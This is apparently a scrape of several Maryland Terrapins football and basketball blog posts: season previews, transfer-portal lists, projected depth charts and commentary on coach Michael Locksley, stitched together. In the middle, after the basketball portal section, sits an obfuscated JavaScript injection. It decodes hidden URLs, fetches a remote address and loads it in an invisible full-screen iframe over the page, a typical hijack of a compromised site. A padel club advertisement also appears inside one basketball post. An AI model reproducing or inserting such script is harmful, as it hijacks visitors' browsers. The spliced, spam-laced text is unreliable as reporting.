Throughout head coach Michael Locksley’s tenure in College Park, Maryland has dominated the months of August and September, compiling a 21-5 record before the calendar flips to October. They’ll likely be heavily favored in their first two games against Hampton and UConn, opening as 45.5-point favorites against the Pirates this weekend. These games ought to provide Locksley with the opportunity to get a number of different players on the field and give his offense some time to gain comfortability with new offensive coordinator Clint Trickett’s scheme.

Speaking of Trickett, it’ll be interesting to see what his offense looks like to begin this season. Under Pep Hamilton last year, Maryland ran a very pro-style scheme with quarterback Malik Washington spending a significant amount of time under center and not using much tempo. This was a clear departure from Locksley’s preferred scheme, which is much more spread out and uses tempo as a tool to keep opposing defenses off-guard. Trickett’s offense seems much more in line with these preferences, as he’s successfully blended Air Raid passing principles with a fast-paced rushing attack at both Marshall and Jacksonville State. Expect to see the offense moving much more quickly, and for Washington to use his legs as a weapon more often.

Defensively, Locksley will be hoping that continuity leads to success as defensive coordinator Ted Monachino enters his second season working with players like Sidney Stewart, Daniel Wingate, Trey Reddick, Jamare Glasker, and Messiah Delhomme. His scheme is typically aggressive, preferring to play man coverage on the outside with a number of exotic blitz packages. He’ll also mix up his zone coverages, using a combination of one and two-high safety looks with late rotations common to confuse opposing quarterbacks.

Maryland’s new special teams coordinator is Matt Barnes, and he’ll have two of the better specialists in the conference to work with this season. Sean O’Haire returns for his second year as the Terrapins’ starting kicker, after converting 21 of his 24 field goal attempts and earning First Team All-Big Ten honors in 2025. Bryce McFerson is back for his third season in College Park, and earned Second Team All-Big Ten honors last year after putting together the sixth-best punting average in program history.

Game One: Hampton Pirates

Maryland has faced off against an FCS opponent five times under Locksley, and has won those games by an average of 43.6 points. Last season, they beat Towson by a score of 44-17 in their third game of the season. However, despite what should be a clear advantage in the trenches, they haven’t run for more than 175 yards in their last three matchups against FCS teams. Locksley and Trickett have made it clear that they’ve placed a large emphasis on running the ball more efficiently this season, so look for them to pound the rock early and often on Saturday night.

On the opposite side of the ball, Maryland’s defensive front ought to have a significant advantage in the trenches. Defensive coordinator Ted Monachino will likely experiment with a handful of different combinations as he attempts to replace starting pass-rusher Zahir Mathis who suffered a season-ending injury during practice last month. Five-star phenom Zion Elee is set to play a significant role immediately, and having success getting to the quarterback right off the bat would do wonders for his confidence. Monachino received a major boost earlier this week, when Locksley announced that starting cornerback Dontay Joyner, who’d been dismissed from the team following his arrest in June on harassment-related charges, would be returning to the team after all for the 2026 season. After so much time away from the team during the summer, he’ll likely need to be eased back into a starting role.

Game Two: UConn Huskies

Maryland’s first test against an FBS opponent in 2026 will come in East Hartford, where they haven’t played since 2013. UConn has a new head coach in Jason Candle after Jim Mora left for Colorado State after leading the Huskies to a 9-4 record last season. Candle comes from Toledo, where he’d been on the coaching staff for 18 years including the last ten as head coach. As is typically the case when a coaching change occurs nowadays, their roster has been completely overhauled with nearly 60 additions in the transfer portal. Two of those additions were quarterbacks Jake Merklinger (Tennessee) and Kalieb Osborne (Toledo), who are still competing for the starting job prior to their season-opener against Lafayette.

It’s often difficult to know what to expect from a team like UConn whose entire roster has been turned upside down from last season. While Maryland will likely be heavily favored, it’ll be important for them to build on what ought to be a strong performance against Hampton and not allow the Huskies to hang around longer than they should.

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The Departures

Regardless of what happens with the transfer portal, four Maryland players have exhausted their eligibility and will be moving on: David Coit, Collin Metcalf, Elijah Saunders, and Solomon Washington.

Washington is the most impactful departure, having started 22 games for the Terrapins this season and nearly averaging a double-double (9.8 points per game, 9.2 rebounds per game). Despite a rough start to his Maryland career, Saunders played well down the stretch and was the team’s best three-point shooter (41.1% from beyond the arc). Coit was as exciting to watch as anyone in the country when he was hot, putting together two 40+ point scoring performances against Mount St. Mary’s and Penn State. Unfortunately, he was incredibly streaky and disappeared from action for the most part during the last month of the season. Metcalf started the last 12 games of the year, and averaged 5.8 rebounds and 1.3 blocks per game during that stretch.

You’ll notice that, despite his status as a senior, Pharrel Payne isn’t listed with the players above. Since he played in just ten games this season due to injury, Maryland is widely expected to request a medical hardship waiver from the NCAA in order to award him with an extra year of eligibility.

As everyone knows by now, no one is safe from the transfer portal. Any one of the players on Maryland’s roster with eligibility remaining could very well be announcing their departure over the course of the next few weeks. As I see it though, there are four primary candidates to be playing elsewhere during the 2026-27 season: Aleks Alston, Myles Rice, George Turkson Jr., and Isaiah Watts.

Rice was expected to be the Terrapins’ starting point guard this season, but nagging injuries and performance issues led him to start just four games and average just 5.6 points per game. He had more games in which he was held scoreless than ones where he scored more than nine points. Watts played in 32 games and averaged 17.0 minutes per game, but struggled to score and averaged just 4.3 points per game. Turkson Jr. played in 23 games this season, but averaged just 1.3 points and 2.0 rebounds per game. Alston averaged just 8.4 minutes in his 25 games played this year, and received more than nine minutes in only four conference games.

The Arrivals

While we don’t yet know what the transfer portal will bring for Maryland next season, we do know that there’ll be four new freshmen on campus: Austin Brown, Kaden House, Baba Oladotun, and Adama Tambedou.

Oladotun is the clear leader of this group, and is Maryland’s second-best recruit in the rankings era behind only Diamond Stone. He’s a smooth, 6’10” forward with a 7’1” wingspan whose excellent footwork and instincts should serve him well while he improves his shooting prowess. House is a prototypical guard for BuzzBall, a high-motor player who can score in bunches and loves to drive to the rim. Tambedou is also perfect for Williams’ system, a slightly undersized big who plays far larger than his frame and feasts on the offensive boards. Brown is a raw prospect, but has set his share of Texas high school scoring records.

As things currently stand, with four players out of eligibility and four freshmen coming in, any player that Maryland brings in from the transfer portal will have to be accompanied by a departure. While it’s too early to truly know who will be available to the Terrapins in the portal, it’s typically a safe bet to look towards some of the better players at mid-major schools who might be looking to take a step up to the power conference level.

The position that Williams will likely be looking to target most aggressively will be point guard. After the acquisition of Rice didn’t pan out, they didn’t have a backup plan and were left with shooting guards like Coit, Darius Adams, or Andre Mills attempting to run the point. While Guillermo Del Pino improved as the year went on as more of a true distributor, grabbing a more experienced player at the position will be crucial. Rowan Brumbaugh (Tulane) would be one of the best options if he were to enter the portal. He’s a Washington, DC native who played one year at Georgetown in 2023-24. So far this season, he’s averaging 18.5 points and 3.6 assists per game while shooting 34.0% from beyond the arc.

While Williams typically doesn’t mind playing guard-heavy lineups, targeting some experienced wings in the transfer portal would be wise given that the only potential non-freshman returnees are Turkson Jr. and Jaziah Harper. Tyler Tejeda (Towson) would be a top option, and will almost certainly enter the portal after being strongly rumored to enter during last off-season. He averaged 17.7 points and 5.5 rebounds per game for the Tigers this year, and scored 29 points in their overtime loss to Hofstra during the CAA Tournament.

Even if Payne returns for the Terrapins, they’ll need some bodies down low. Chase Walker (Illinois State) will be one of the best at the position if he enters the transfer portal. He’s averaging 13.5 points and 5.3 rebounds per game, while standing 6’9” and 280 pounds. However if Payne is on the roster, you’re likely looking at more reserve options than starters here.; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

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The Offensive Problem: Maryland averaged just 101.3 rushing yards per game, which ranked 124th-best in the nation and second-worst in the conference behind only Minnesota.

The Terrapins have struggled to run the ball consistently for the majority of the last decade or more, and are regularly dominated up front by bigger and more talented defensive lines. Last season, offensive coordinator Pep Hamilton threw nearly every formation, personnel grouping, and run scheme into his gameplans to no avail. Towards the beginning of the year, he used multiple tight ends and even a fullback at times with quarterback Malik Washington under center in an attempt to help the running game. When that didn’t work, he utilized more spread formations with Washington in the shotgun and three or more wide receivers on the field. Maryland also mixed together both zone and gap schemes, but failed to gain any sort of traction on the ground.

The Offensive Solution: Maryland is replacing two of their starting offensive linemen from last season (Aliou Bah, Alan Herron). They added Texas State transfer Tellek Lockette, who’s expected to likely take up a starting role on the interior of the line. Former four-star recruit Jaylen Gilchrist, who missed the majority of last year due to injury, is also expected to compete for a starting job. Otherwise, returnees Michael Hershey, Rahtrel Perry, and Isaiah Wright will likely take up starting roles again in 2026.

DeJuan Williams returns as the Terrapins’ starting running back, following a season where he impressed with his pass-catching abilities but rarely saw holes he could exploit in the running game. They also added USC transfer Harry Dalton III to the roster, and will get Bud Coombs back after he suffered a season-ending injury during camp prior to last year. With a signal-caller like Washington behind center, Maryland’s rushing attack doesn’t need to be one of the best in the conference. But it does need to keep the offense ahead of the chains consistently so that they aren’t constantly forced into obvious passing situations.

The Defensive Problem: Maryland’s defense allowed opposing offenses to convert 45.22% of their third-down attempts, which ranked 119th-best in the country and second-worst in the conference behind only Illinois.

While defensive coordinator Ted Monachino’s unit performed well in certain aspects (sacks and takeaways), they were one of the worst in the nation at getting off the field on third downs. One of the primary reasons for this was their performance against the run, allowing an average of 186.9 rushing yards per game which ranked 107th-best in the country. They consistently allowed opposing offenses to stay ahead of the chains and convert manageable third downs.

The Defensive Solution: Maryland is replacing four of their interior defensive linemen from last season (Dillan Fontus, Dimitry Nicolas, Cam Rice, Sedrick Smith). They added four in the transfer portal (Lavon Johnson, Derrick LeBlanc, Armon Parker, Jayvon Parker) and two more in their incoming freshman class (Cam Brickle II, Jamarcus Whyce). These players will need to step up, along with returnees Bryce Jenkins, Joel Starlings, and Eyan Thomas to improve their lackluster run defense and keep opposing offenses behind the chains on a more consistent basis.

The Terrapins ought to have one of the best young pass-rushing corps in the country, featuring returnees Zahir Mathis and Sidney Stewart alongside incoming five-star freshman Zion Elee. But a pass rush’s effectiveness will be greatly handicapped if the offense isn’t forced into obvious passing situations with more regularity. If you want to win on third down, you have to win on first and second downs, where Maryland will need to show vast improvement in 2026.

The post How Has Maryland Addressed Two Biggest Weaknesses From Last Season? appeared first on Baltimore Sports and Life.

The Departures

Maryland officially lost 17 players to the transfer portal during this cycle, with an additional seven departing due to an exhaustion of their eligibility.

Transfer Portal Entries

• QB Roman Jensen (Shippensburg)
• QB Justyn Martin (Ohio State)
• QB Khristian Martin (Fresno State)
• RB Nolan Ray (Boston College)
• WR Josiah McLaurin (unsigned)
• WR Jahmari Powell-Wonson (Florida Atlantic)
• TE Leon Haughton Jr. (Old Dominion)
• OL Aliou Bah (LSU)
• DL Dillan Fontus (Syracuse)
• DL Dimitry Nicolas (Sam Houston)
• DL Sedrick Smith (Colorado)
• LB Neeo Avery (South Dakota)
• LB Michael Harris (unsigned)
• DB Kevyn Humes (Boston College)
• DB Braydon Lee (Arkansas)
• DB Shamar McIntosh (Charlotte)
• DB La’Khi Roland (Arkansas)
  

No Eligibility Remaining

• WR Jalil Farooq
• WR Shaleak Knotts
• WR Octavian Smith Jr.
• OL Alan Herron
• DL Cam Rice
• DB Jalen Huskey
• LS Ethan Gough

Through these departures, Maryland lost five offensive starters (Bah, Farooq, Herron, Knotts, Smith Jr.), four defensive starters (Fontus, Humes, Huskey, Rice), and their starting long snapper (Gough) from last season.

The Arrivals

Locksley and his coaching staff have been able to add seven players of their own through the transfer portal to date, adding to their 19-member incoming freshman recruiting class.

Transfer Portal Additions

• RB Harry Dalton III (USC)
• WR Chris Durr Jr. (Wyoming)
• WR Na’eem Abdul-Rahim Gladding (Old Dominion)
• TE Preston Howard (Auburn)
• DL Lavon Johnson (Texas)
• DL Derrick LeBlanc (UCF)
• DB Amari Jackson (Boston College)
• OL Tellek Lockette (Texas State)

Incoming Freshman Class

• QB Nathan Bernhard
• WR Jayden Kitchens
• WR Josiah Teasley
• TE Damon Hall Jr.
• TE Brayden Marko
• TE Javonte Williams
• OL Jesse Moody
• OL Day’jon Moore
• DL Cam Brickle II
• DL Jianni Davis
• DL Zion Elee
• DL Jamarcus Whyce
• LB Kayden Carter
• DB Darrell Carey
• DB Zahir Cobb
• DB Sean Johnson
• DB Hakim Satterwhite
• K Eli Fulcher
• LS Rory Knipp

If Howard and Johnson’s names look familiar, it’s because they began their collegiate careers at Maryland before transferring elsewhere before last season. They’ll both provide critical depth at their respective positions. Durr Jr. and Gladding will likely step into starting wide receiver roles following the departure of all three starters at that position. Jackson has a chance to start immediately at the nickel position, with talented returnees Jamare Glasker and Dontay Joyner manning the outside cornerback roles. 247Sports currently ranks the team’s transfer class as the 71st-best in the country.

The Terrapins’ freshman class is led by 5-star pass-rusher Elee, the program’s best recruit in the rankings era. He joins returnees Zahir Mathis and Sidney Stewart to create one of the country’s best young edge-rushing groups this year. As a whole, 247Sports ranks the class as the 43rd-best in the nation. Combined with their transfer class, the incoming group is currently ranked 52nd-best nationally.

The Roster

By rough calculation Maryland’s roster currently sits at 103 players, two shy of the NCAA’s current limit of 105. While there could be a few openings created by late departures which aren’t related to the portal, the team’s roster is just about full. My expectation is that one of the remaining spots will be taken by a quarterback, given that Bernhard and Jackson Hamilton are the only two signal-callers currently on the roster behind Malik Washington. With any remaining openings, look for the staff to target offensive linemen as they’ve yet to add any experienced players at the position after losing two starters.

Projected Depth Chart

Offense
QB: 1. Malik Washington, 2. Nathan Bernhard
RB: 1. DeJuan Williams, 2. Iverson Howard OR Bud Coombs
WR-X: 1. Kaleb Webb, 2. Jordan Scott OR Josiah Teasley
WR-Z: 1. Na’eem Abdul-Rahim Gladding, 2. Ryan Manning
WR-H: 1. Chris Durr Jr., 2. Zymear Smith
TE: 1. Dorian Fleming, 2. Preston Howard
LT: 1. Rahtrel Perry, 2. Michael McMonigle
LG: 1. Jaylen Gilchrist, 2. Ryan Howerton
C: 1. Michael Hershey, 2. Trevor Szymanski
RG: 1. Tellek Lockette, 2. Amory Hills
RT: 1. Isaiah Wright, 2. Carlos Moore

Defense
SAM: 1. Sidney Stewart OR Zion Elee
DT: 1. Eyan Thomas, 2. Lavon Johnson
NT: 1. Bryce Jenkins, 2. Joel Starlings
JACK: 1. Zahir Mathis, 2. Nahsir Taylor
MIKE: 1. Trey Reddick, 2. Keyshawn Flowers
WILL: 1. Daniel Wingate, 2. Carlton Smith
FCB: 1. Jamare Glasker, 2. Lloyd Irvin III OR Hakim Satterwhite
BCB: 1. Dontay Joyner, 2. Sean Johnson
NICKEL: 1. Amari Jackson, 2. Jayden Shipps
FS: 1. Lavain Scruggs, 2. Gavin Edwards
SS: 1. Messiah Delhomme, 2. Darrell Carey

Special Teams
K: 1. Sean O’Haire, 2. Eli Fulcher
P: 1. Bryce McFerson, 2. Philip Noyes
LS: 1. Luke O’Hare OR Rory Knipp
KR: 1. Iverson Howard, 2. Ricardo Cooper Jr.
PR: 1. Ricardo Cooper Jr., 2. Messiah Delhomme

Offensively, as has been the case for a number of years, the biggest question mark is the offensive line. Maryland returns three starters from last season’s unit, which was typically solid in pass protection but failed to open up many holes at all in the running game. (EDIT, Maryland added Tellek Lockette today, and I now project him to start at RG.) The wide receiver position is also very uncertain, and will rely heavily on two transfer portal additions who are moving up a level in competition from lower-level Group of Five programs. The presence of Fleming and Howard, along with a number of other talented tight ends, may help to offset a lack of experience at the wide receiver position as offensive coordinator Pep Hamilton used plenty of two and three-tight end formations last season.

On the defensive side of the ball, there are depth questions to be asked of both the interior of the defensive line and cornerback. Maryland’s run defense ranked 107th-best nationally, so ensuring better play from their defensive tackles will be a priority for defensive coordinator Ted Monachino. While Glasker and Joyner return at cornerback, the losses of Humes, Lee, and Roland aren’t insignificant as quality depth pieces.

Both specialist positions are excellent, with McFerson and O’Haire serving as two of the best at their respective spots in the conference. Punt coverage (72nd-best nationally) and kickoff coverage (110th-best nationally) were poor however, which ought to be a point of emphasis for special teams coordinator Andre Powell.

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Smith’s vote of confidence came with a pledge to increase funding for the program, which despite decent efforts over the course of the last few years is still one of the worst-funded among power conference teams. Former athletic director Damon Evans’ lack of urgency when the Name-Image-Likeness (NIL) floodgates opened in 2021 left the athletic department with a significant amount of catch-up work to do, something that Smith is still dealing with. The situation isn’t too dissimilar from Indiana’s, as athletic director Scott Dolson worked hard to increase funding for their football program in the years leading up to Curt Cignetti’s arrival.

Locksley and his coaching staff completed the first part of their offseason last week, when they signed 17 players as part of their 2026 recruiting class. He’s never had a class this small as Maryland’s head coach, which speaks to the youth that currently exists on the team. 5-star EDGE Zion Elee headlines the incoming group, and represents the program’s best recruit in the rankings era. As a whole they added six of the Top 25 recruits from the state of Maryland, and four of their five best additions hail from the Old Line State. Keeping Elee away from deep-pocketed suitors such as Oregon and South Carolina speaks to the boosters’ desire to increase funding. According to 247Sports, the class ranked #43 nationally and #11 in the conference.

Three important parts of the offseason still remain: player retention, coaching staff decisions, and the transfer portal. With so much young talent currently on the roster, Maryland will be a prime target to be picked clean by programs with more money. Players like Malik Washington, Zahir Mathis, Daniel Wingate, and Sidney Stewart will almost certainly be offered significant sums to play elsewhere next year. Retaining all or most of these players is crucial for Locksley, but likely comes down to the boosters’ willingness to keep them in College Park.

Maryland’s coaching staff saw significant turnover before last season, with Locksley replacing all three coordinators and a handful of position coaches. With such a young team, it can likely be expected that most of these coaches return in 2026. One coach who wasn’t replaced after last year was Kevin Sumlin, who’d served as the team’s associate head coach, co-offensive coordinator, and tight ends coach from 2023-24. Locksley could elect to add an experienced coach to the staff to fill that void.

The NCAA made some changes to the transfer portal before this season, most notably being that there’s just one window for player movement which opens on January 2nd and closes on January 16th. To date, Maryland has had just two players announce that they’ll enter the portal (WR Jahmari Powell-Wonson and DB Shamar McIntosh) but things should begin to ramp up over the course of the next few weeks. With just seven players being without eligibility for next season, Locksley and his coaching staff can be selective with which positions they target. Three of those players without eligibility are wide receivers (Jalil Farooq, Shaleak Knotts, and Octavian Smith Jr.) so you can expect replacing them to be a priority. The offensive and defensive lines are always prime spots to add transfers, considering how important experience is at those positions. And assuming that they’re able to keep Washington, it can be reasonably expected that a number of the quarterbacks on the roster elect to transfer. Adding to the quarterback room in the portal will be important, especially considering that they added just one in this season’s recruiting class (Nathan Bernhard).

Be sure to keep an eye on our message board, as that’s where I’ll be keeping track of every move that’s made during this crucial offseason for the program.

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They haven’t just been picking up wins on the court however, as head coach Buzz Williams and his staff locked up what’s currently ranked as the 3rd-best 2026 recruiting class in the country. If that ranking holds, it’d be Maryland’s best class since 2003 when former head coach Gary Williams landed G Mike Jones and F Ekene Ibekwe. The class is anchored by 5-star F Baba Oladotun (Silver Spring, MD), the program’s second-highest recruit since recruiting rankings began more than two decades ago, behind only Derik Queen. 4-star G Kaden House (Chandler, AZ), 4-star F Adama Tambedou (Putnam, CT), and 3-star F Austin Brown (Lufkin, TX) round out this excellent group of incoming freshmen.

The Terrapins will play two more games in Sin City, including their toughest test of the season thus far tonight against #12 Gonzaga, before heading back home for a matchup with Wagner next Tuesday night. They’ll follow that up with two early conference games against Iowa and Michigan. That game against the Wolverines on December 13th is one to circle on the calendar, as it represents Maryland’s first home conference game against a team that KenPom’s rankings currently have as the #5 team in the country and the second-best team in the conference only behind Purdue. Dusty May’s team has been excellent so far this year, and beat San Diego State by 40 points last night in their first game in Las Vegas.

Strong early-season performances combined with high-level recruiting momentum have continued to generate optimism surrounding the program’s long-term direction, particularly as younger players prepare to enter one of the most competitive stretches of conference play in recent years. Matchups against nationally ranked opponents will provide valuable opportunities to test roster depth, defensive consistency, and late-game execution while also giving incoming recruits a clearer picture of the competitive environment they are preparing to join. Continued success both on the court and on the recruiting trail reflects how collegiate athletics increasingly depend on player development, program culture, and the ability to build sustained excitement around team identity throughout the season.

Rising national attention has also contributed to broader conversations surrounding athletic performance, training culture, and the expanding role sports communities play in shaping year-round engagement among athletes and fans alike. Growing enthusiasm around competitive sports has extended well beyond traditional collegiate programs, with racquet sports such as padel experiencing rapid growth among younger athletes and recreational competitors seeking fast-paced, social forms of competition.

The sport combines elements of tennis and squash on enclosed courts designed to encourage longer rallies, strategic positioning, and doubles-based teamwork, making it appealing to players across different experience levels. Interest surrounding clubs and training environments connected to Wakit Padel reflects how modern sports communities are increasingly centered around accessibility, fitness, and shared participation rather than purely elite competition. Continued expansion of these recreational athletic spaces has created new opportunities for individuals to remain active, develop technical skills, and engage with sports culture in environments that balance competitive energy with social interaction and long-term wellness.

If Maryland wants to compete in games like that one against Michigan, they’ll need to clean up their turnover issues. They had a whopping 20 turnovers in their win over UNLV, including 15 in the first half. The Runnin’ Rebels zone defense certainly played a role in their sloppiness, but this has been a problem through the first three weeks of the season. As a team, the Terrapins are averaging 14.3 turnovers per game and have turned the ball over on nearly 20% of their possessions. During his post-game interview following last night’s game, Williams said he’d prefer his team simply hand the ball over to their opponents at the end of the shot clock because at least that’d be a dead-ball turnover. Hopefully getting Myles Rice back and fully integrated into the point guard position will clean up some things, but it’s definitely something they’ll need to fix heading into conference play.

Overall, the team’s performance thus far is likely what many expected coming into this season particularly given the injuries they’ve suffered to key players. They’re clearly a work in progress, and while they have a handful of good pieces they’ve yet to put it all together. Despite that, they’re playing hard in every game and it’s resulted in five wins. With just over a month until conference play gets fully underway, they still have some time to work out the kinks but will need to stay healthy if they want to reach their full potential.

Many people wondered what Williams’ recruiting would look like when he took over as the Terrapins’ head coach, given that this is likely the best environment for obtaining talent that he’s enjoyed during his coaching career. In just a few months, he’s added two of the highest-rated recruits the program has had during the last few decades (Oladotun and Darius Adams) and already has one of the best recruiting classes in program history. While this season’s team may be a little rough around the edges given how quickly it was cobbled together, the future certainly seems bright in College Park.

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It’s important to remember the climate in which Locksley was hired as the football team’s head coach in 2019, because things weren’t great. Former head coach D.J. Durkin was placed on administrative leave just weeks before the 2018 season began following allegations of a toxic culture which resulted in the death of offensive lineman Jordan McNair. After a months-long investigation the USM Board of Regents elected to reinstate him, a decision that was met by intense backlash both by people inside the building and across the country. He was fired one day later. Locksley was one of just three people to accept interview requests for the open job, the others being then-interim head coach Matt Canada and Pep Hamilton, Maryland’s current offensive coordinator and quarterbacks coach.

There were serious questions about how Maryland would rebuild trust not only with the players on their roster at the time, but with all future recruits and their parents. Locksley was easily the best person for this job at the time, as he likely has deeper and more meaningful relationships within the DMV region than any football coach in the country. His hire allowed the program to rebuild that trust with the community more quickly than would have been otherwise possible.

In just his third season at the helm in 2021, Maryland reached their first bowl game in five years. This began a string of three straight bowl wins from 2021-23, a first in program history. Quarterback Taulia Tagovailoa shattered many program records, and still stands as the Big Ten Conference’s all-time leading passer. Despite that success though, each of those teams finished their seasons with what often felt like meat still on the bone. They were 1-10 against ranked teams during that time, with their only win coming against #23 North Carolina State in the Duke’s Mayo Bowl. Additionally, they finished with losing conference records in each of those seasons.

Since those relatively successful years though, the program has taken another step back. Following a 4-8 (1-8) record in 2024, they’re on pace for a similar (or even identical) record in 2025. A 4-0 start to the season was followed by three straight blown fourth-quarter leads against Washington, Nebraska, and UCLA, and has most recently featured a 45-point loss to #2 Indiana and a 15-point loss to Rutgers. These are simply not acceptable results in consecutive seasons for a head coach in his seventh year in charge.

Locksley has pointed to what he calls “progress” in recent press conferences, saying that his team has cleaned up many of the penalties and other issues which have plagued the program in the past. But if that “progress” doesn’t lend itself to wins, doesn’t that mean you’ve just solved certain problems while creating new ones? Maryland has won just 27.4% of their conference games under his leadership, and is now 12-36 during the months of October and November. They’re 1-18 against ranked teams during the regular season, and have had a losing record in conference play every single year.

I like Locksley, he’s a good man and a titan of football in the DMV region. He’s had some good moments as Maryland’s head coach, and led the program through its darkest era with impeccable stability. It certainly seems as though it’s time for new leadership however, and for Smith to earn his salary as he leads the search for his first head coach as Maryland’s athletic director.

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The Coaches

Williams comes to Maryland with 18 years of experience as a college head coach, with stints at New Orleans, Marquette, Virginia Tech, and Texas A&M. He’s taken 11 of his teams to the NCAA Tournament, where he has an overall record of 12-11. His teams typically play good fundamental basketball, with an emphasis on stifling defense. A bit of a unicorn in the modern age of college basketball, he places huge value in loyalty and creating a familial atmosphere in his programs. To that end, every member of his coaching staff has been with him for a number of years at his previous stops.

Devin Johnson will serve as the team’s Associate Head Coach, and enters his 14th season as a member of Williams’ staff. Wabissa Bede (5th season), Aki Collins (5th season), Lyle Wolf (14th season), and Steve Roccaforte (9th season) will serve as assistant coaches, all with extensive experience working with Williams. While this group is new to Maryland, they’re not new to each other. That familiarity should help a good bit, particularly with an entirely new roster of players.

The Players

Williams brought four players with him from Texas A&M in the transfer portal: Andre Mills, Pharrel Payne, George Turkson Jr., and Solomon Washington. Payne played in 34 games for the Aggies last season, averaging 10.4 points and 5.1 rebounds per game. Washington played in 32 games, and averaged 4.7 points and 5.1 rebounds per game. Both are expected to be regular starters for Maryland this year. Mills and Turkson Jr. served redshirt years in 2024-25, but are expected to play roles for the Terrapins off of the bench this season.

The six additional players that Williams added to the roster in the transfer portal are David Coit (Kansas), Collin Metcalf (Northeastern), Rakease Passmore (Kansas), Myles Rice (Indiana), Elijah Saunders (Virginia), and Isaiah Watts (Washington State). While Passmore will unfortunately miss the entirety of this season due to an Achilles tendon injury, Rice, Saunders, and Watts are all expected to be starters while Coit Jr. will likely be one of Williams’ top options off of the bench. The head coach has particularly singled out Saunders as being one of the most impressive players on this year’s team, as he steps into a front-court role alongside Payne. In 29 games for the Cavaliers last season, he averaged 10.4 points and 5.0 rebounds per game.

Finally, Williams added five true freshmen to his roster: Darius Adams, Aleks Alston, Nick Blake, Guillermo Del Pino, and Jaziah Harper. Adams is the most significant addition, a 4-star combo guard who 247Sports ranks as the 39th-best player nationally in the 2025 class. He’d initially been committed to UConn prior to signing with the Terrapins. He’ll play a big role immediately, likely off of the bench, but could step into a starting role depending on injuries and other availability. Del Pino will also likely get a significant amount of immediate playing time, as he comes to College Park from Spain. Alston and Harper both come to College Park as 3-star recruits, and probably represent more developmental options for the coaching staff.

The Expectations

It’s difficult to know what expectations should look like for this entirely new roster, but most projections have them as an NCAA Tournament bubble team at the moment. Those expectations become even murkier considering the injuries that the team suffered during the summer. In addition to Passmore, Coit Jr., Rice, Washington, and Watts are all dealing with undisclosed issues which have affected their availability. Regardless though, most fans are likely just excited to put the drama which affected the end of last season behind them and move forward into a new era. With significant non-conference matchups against Georgetown, Gonzaga, and Marquette all taking place in the first month of the year, we shouldn’t have to wait too long to have an idea of what this team’s chances might be the rest of this season.

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Maryland enjoys their second bye week of the year this week before #2 Indiana comes to College Park for the Terrapins’ Homecoming game. Locksley has yet to win a game coming off of a bye, including the team’s loss to Washington earlier this month. The Hoosiers represent what will be their toughest test of the season, as they’re off to another red hot start under second-year head coach Curt Cignetti and led by a leading Heisman Trophy candidate in quarterback Fernando Mendoza.

Despite all of their poor performances on the field so far this month, Maryland still leads the entire country in turnover margin (+11). They lead the nation in interceptions (14) and have also recovered two fumbles. Meanwhile, they’ve only turned the ball over five times (three interceptions and two fumbles). While defensive coordinator Ted Monachino’s unit has allowed some yards to opposing offenses, they’ve proven to be extremely good at taking the ball away. They’ve also continued to rack up sacks, ranking 10th in the country with 22 of them.

Unfortunately, this is Locksley’s seventh season at the helm and his team continues to struggle to finish games in the fourth quarter. Since 2019, they’ve blown eight fourth quarter leads (2019 vs. Temple, 2019 vs. Michigan State, 2020 vs. Rutgers, 2022 vs. Purdue, 2024 vs. Michigan State, 2025 vs. Washington, 2025 vs. Nebraska, and 2025 vs. UCLA). It’s not something that has improved during his tenure, in fact it’s become more frequent in recent years. With a new athletic director in charge of the athletic department, Locksley’s job security is likely in more jeopardy than it would have been under Damon Evans. While his buyout will be approximately $17 million if fired after this season, does Jim Smith look to make a move?

